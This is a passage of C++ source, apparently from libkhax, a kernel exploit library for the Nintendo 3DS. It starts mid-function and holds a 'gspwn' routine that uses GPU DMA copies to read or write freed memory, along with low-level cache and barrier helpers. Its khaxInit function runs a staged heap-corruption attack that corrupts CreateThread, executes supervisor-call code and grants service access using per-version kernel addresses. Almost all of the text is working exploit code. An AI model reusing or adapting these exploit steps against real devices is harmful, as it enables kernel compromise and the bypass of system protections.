return (level << 27) + (summary << 21) + (module << 10) + error;
}
//------------------------------------------------------------------------------------------------
// Check whether this system is a New 3DS.
Result KHAX::IsNew3DS(bool *answer, u32 kernelVersionAlreadyKnown)
{
// If the kernel version isn't already known by the caller, find out.
u32 kernelVersion = kernelVersionAlreadyKnown;
if (kernelVersion == 0)
{
kernelVersion = osGetKernelVersion();
}
// APT_CheckNew3DS doesn't work on < 8.0.0, but neither do such New 3DS's exist.
if (kernelVersion >= SYSTEM_VERSION(2, 44, 6))
{
// Check whether the system is a New 3DS. If this fails, abort, because being wrong would
// crash the system.
u8 isNew3DS = 0;
if (Result error = APT_CheckNew3DS(&isNew3DS))
{
*answer = false;
return error;
}
// Use the result of APT_CheckNew3DS.
*answer = isNew3DS != 0;
return 0;
}
// Kernel is older than 8.0.0, so we logically conclude that this cannot be a New 3DS.
*answer = false;
return 0;
}
//------------------------------------------------------------------------------------------------
// gspwn, meant for reading from or writing to freed buffers.
Result KHAX::GSPwn(void *dest, const void *src, std::size_t size, bool wait)
{
// Copy that floppy.
if (Result result = GX_TextureCopy(static_cast<u32 *>(const_cast<void *>(src)), 0,
static_cast<u32 *>(dest), 0, size, 8))
{
KHAX_printf("gspwn:copy fail:%08lx\n", result);
return result;
}
// Wait for the operation to finish.
if (wait)
{
gspWaitForPPF();
}
return 0;
}
Result KHAX::userFlushDataCache(const void *p, std::size_t n)
{
return GSPGPU_FlushDataCache(p, n);
}
Result KHAX::userInvalidateDataCache(const void *p, std::size_t n)
{
return GSPGPU_InvalidateDataCache(p, n);
}
void KHAX::userFlushPrefetch()
{
__asm__ volatile ("mcr p15, 0, %0, c7, c5, 4\n" :: "r"(0));
}
void KHAX::userDsb()
{
__asm__ volatile ("mcr p15, 0, %0, c7, c10, 4\n" :: "r"(0));
}
void KHAX::userDmb()
{
__asm__ volatile ("mcr p15, 0, %0, c7, c10, 5\n" :: "r"(0));
}
void KHAX::kernelCleanDataCacheLineWithMva(const void *p)
{
__asm__ volatile ("mcr p15, 0, %0, c7, c10, 1\n" :: "r"(p));
}
void KHAX::kernelInvalidateInstructionCacheLineWithMva(const void *p)
{
__asm__ volatile ("mcr p15, 0, %0, c7, c5, 1\n" :: "r"(p));
}
//------------------------------------------------------------------------------------------------
// Given a pointer to a structure that is a member of another structure,
// return a pointer to the outer structure. Inspired by Windows macro.
template <typename Outer, typename Inner>
Outer *KHAX::ContainingRecord(Inner *member, Inner Outer::*field)
{
unsigned char *p = reinterpret_cast<unsigned char *>(member);
p -= reinterpret_cast<std::uintptr_t>(&(static_cast<Outer *>(nullptr)->*field));
return reinterpret_cast<Outer *>(p);
}
//------------------------------------------------------------------------------------------------
// Main initialization function interface.
extern "C" Result khaxInit()
{
using namespace KHAX;
#ifdef KHAX_DEBUG
bool isNew3DS;
IsNew3DS(&isNew3DS, 0);
KHAX_printf("khaxInit: k=%08lx f=%08lx n=%d\n", osGetKernelVersion(), osGetFirmVersion(),
isNew3DS);
#endif
// Look up the current system's version in our table.
const VersionData *versionData = VersionData::GetForCurrentSystem();
if (!versionData)
{
KHAX_printf("khaxInit: Unknown kernel version\n");
return MakeError(27, 6, KHAX_MODULE, 39);
}
KHAX_printf("verdat t=%08lx s=%08lx v=%08lx\n", versionData->m_threadPatchAddress,
versionData->m_syscallPatchAddress, versionData->m_fcramVirtualAddress);
// Create the hack object.
MemChunkHax hax{ versionData };
// Run through the steps.
if (Result result = hax.Step1_Initialize())
{
KHAX_printf("khaxInit: Step1 failed: %08lx\n", result);
return result;
}
if (Result result = hax.Step2_AllocateMemory())
{
KHAX_printf("khaxInit: Step2 failed: %08lx\n", result);
return result;
}
if (Result result = hax.Step3_SurroundFree())
{
KHAX_printf("khaxInit: Step3 failed: %08lx\n", result);
return result;
}
if (Result result = hax.Step4_VerifyExpectedLayout())
{
KHAX_printf("khaxInit: Step4 failed: %08lx\n", result);
return result;
}
if (Result result = hax.Step5_CorruptCreateThread())
{
KHAX_printf("khaxInit: Step5 failed: %08lx\n", result);
return result;
}
if (Result result = hax.Step6_ExecuteSVCCode())
{
KHAX_printf("khaxInit: Step6 failed: %08lx\n", result);
return result;
}
if (Result result = hax.Step7_GrantServiceAccess())
{
KHAX_printf("khaxInit: Step7 failed: %08lx\n", result);
return result;
}
KHAX_printf("khaxInit: done\n");
return 0;
}
//------------------------------------------------------------------------------------------------
// Shut down libkhax. Doesn't actually do anything at the moment, since khaxInit does everything
// and frees all memory on the way out.
extern "C" Result khaxExit()
{
return 0;
}